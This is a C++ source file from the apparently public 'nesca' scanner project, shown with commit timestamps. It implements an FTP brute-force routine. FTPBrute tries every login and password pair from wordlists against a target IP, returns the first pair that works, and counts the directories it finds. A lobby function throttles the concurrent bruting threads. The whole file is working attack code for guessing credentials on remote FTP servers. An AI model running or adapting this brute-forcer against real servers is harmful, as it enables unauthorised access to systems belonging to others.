nesca/FTPAuth.cpp

66 lines
1.8 KiB
C++
Raw Normal View History

2015-03-16 14:29:34 +00:00
#include "FTPAuth.h"
bool FTPA::checkOutput(const string *buffer) {
2015-03-17 14:30:53 +00:00
if(Utils::ci_find_substr(*buffer, "230") != -1) {
2015-03-16 14:29:34 +00:00
return true;
}
return false;
}
2015-03-23 13:54:40 +00:00
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
2015-03-16 14:29:34 +00:00
string buffer;
string lpString;
lopaStr lps;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
strcpy(lps.login, "UNKNOWN");
2015-03-22 00:43:15 +00:00
int res = 0;
2015-03-22 10:13:17 +00:00
int passCounter = 0;
2015-03-16 14:29:34 +00:00
for(int i = 0; i < MaxLogin; ++i)
{
if(!globalScanFlag) return lps;
if(strlen(loginLst[i]) <= 1) continue;
for(int j = 0; j < MaxPass; ++j)
{
if(!globalScanFlag) return lps;
if(strlen(passLst[j]) <= 1) continue;
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
2015-03-22 00:43:15 +00:00
res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString);
if (res == -2) return lps;
else if (res != -1) {
if (!globalScanFlag) return lps;
strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
return lps;
};
2015-03-22 10:13:17 +00:00
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100);
2015-03-16 14:29:34 +00:00
}
}
return lps;
}
2015-03-23 13:54:40 +00:00
lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
2015-03-17 14:30:53 +00:00
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
2015-03-16 14:29:34 +00:00
BruteUtils::BConInc();
2015-03-23 13:54:40 +00:00
const lopaStr &lps = FTPBrute(ip, port, ps);
2015-03-16 14:29:34 +00:00
BruteUtils::BConDec();
return lps;
}